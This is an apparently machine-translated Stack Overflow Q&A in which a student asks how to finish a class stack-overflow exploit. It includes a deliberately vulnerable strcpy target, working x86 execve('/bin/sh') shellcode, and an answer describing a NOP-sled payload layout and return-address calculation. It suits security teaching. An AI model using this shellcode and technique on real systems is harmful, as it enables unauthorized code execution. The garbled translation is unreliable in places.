Pregunta

Estoy tratando de averiguar este problema para una de mis clases sci comp, yo he utilizado todos los recursos y todavía tienen problemas, si alguien puede dar una idea, se lo agradecería muchísimo.

Tengo este "objetivo" Necesito ejecutar un execve ( “/ bin / sh”) con el desbordamiento del búfer. En el desbordamiento de buf [128], al ejecutar el comando strcpy insegura, una parte posterior del puntero en la memoria intermedia aparece en el lugar donde las Espera sistema para encontrar la dirección del remitente.

target.c

int bar(char *arg, char *out)
{
 strcpy(out,arg);
 return 0;
}

int foo(char *argv[])
{
 char buf[128];
 bar(argv[1], buf);
}

int main(int argc, char *argv[])
{
 if (argc != 2)
 {
  fprintf(stderr, "target: argc != 2");
  exit(EXIT_FAILURE);
 }
 foo(argv);
 return 0;
}

exploit.c

#include "shellcode.h"

#define TARGET "/tmp/target1"

int main(void)
{
  char *args[3];
  char *env[1];

  args[0] = TARGET; args[1] = "hi there"; args[2] = NULL;
  env[0] = NULL;

  if (0 > execve(TARGET, args, env))
    fprintf(stderr, "execve failed.\n");

  return 0;
}

shellcode.h

static char shellcode[] =
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";

I entender Necesito llenar argv [1] con más de 128 bytes, los bytes de más de 128 siendo la dirección de retorno, que debería ser de nuevo en punta a la memoria intermedia de modo que ejecuta el / bin / sh dentro. ¿Es correcto hasta el momento? ¿Puede alguien dar el siguiente paso?

Muchas gracias por cualquier ayuda.

¿Fue útil?

Solución

Bueno, por lo que desea el programa a ejecutar su código shell. Ya está en la forma de la máquina, para que esté listo para ser ejecutado por el sistema. Que ha almacenado en una memoria intermedia. Entonces, la pregunta sería "¿Cómo sabe el sistema para ejecutar mi código?" Más precisamente, "¿Cómo funciona el sistema sabe dónde buscar el siguiente código que se ejecutará?" La respuesta en este caso es la dirección de retorno que está hablando.

Básicamente, estás en el camino correcto. ¿Ha intentado ejecutar el código? Una cosa que me he dado cuenta al realizar este tipo de explotación es que no es una ciencia exacta. A veces, hay otras cosas en la memoria que no se espera que estén allí, así que hay que aumentar el número de bytes que se agrega en su memoria intermedia con el fin de alinear correctamente la dirección de retorno con el que el sistema espera que sea.

No soy un especialista en seguridad, pero te puedo decir algunas cosas que ayudan a la fuerza. Una de ellas es que suelen incluir un 'NOP trineo' - simplemente en una serie de 0x90 bytes que no hace otra cosa que ejecutar instrucciones 'NOP' en el procesador nada. Otro truco es repetir la dirección de retorno al final de la memoria intermedia, de modo que si uno solo de los sobrescribe la dirección de retorno en la pila, tendrá un exitoso regreso a donde desee.

Por lo tanto, el búfer se verá así:

| NOP TRINEO | shellcode | RETORNO REPETIDO dirección |

(Nota: Estos no son mis ideas, les dieron de Hacking. El arte de la explotación, por Jon Erickson Recomiendo este libro si usted está interesado en aprender más sobre esto).

Para el cálculo de la dirección, se puede usar algo similar a lo siguiente:

unsigned long sp(void) 
{ __asm__("movl %esp, %eax");} // returns the address of the stack pointer

int main(int argc, char *argv[])
{
    int i, offset;
    long esp, ret, *addr_ptr;
    char* buffer;

    offset = 0;
    esp = sp();
    ret = esp - offset;
}

Ahora, ret contendrá la dirección del remitente desea volver a, suponiendo que se puede asignar topes sea en el montón.

Licenciado bajo: CC-BY-SA con atribución
No afiliado a StackOverflow
scroll top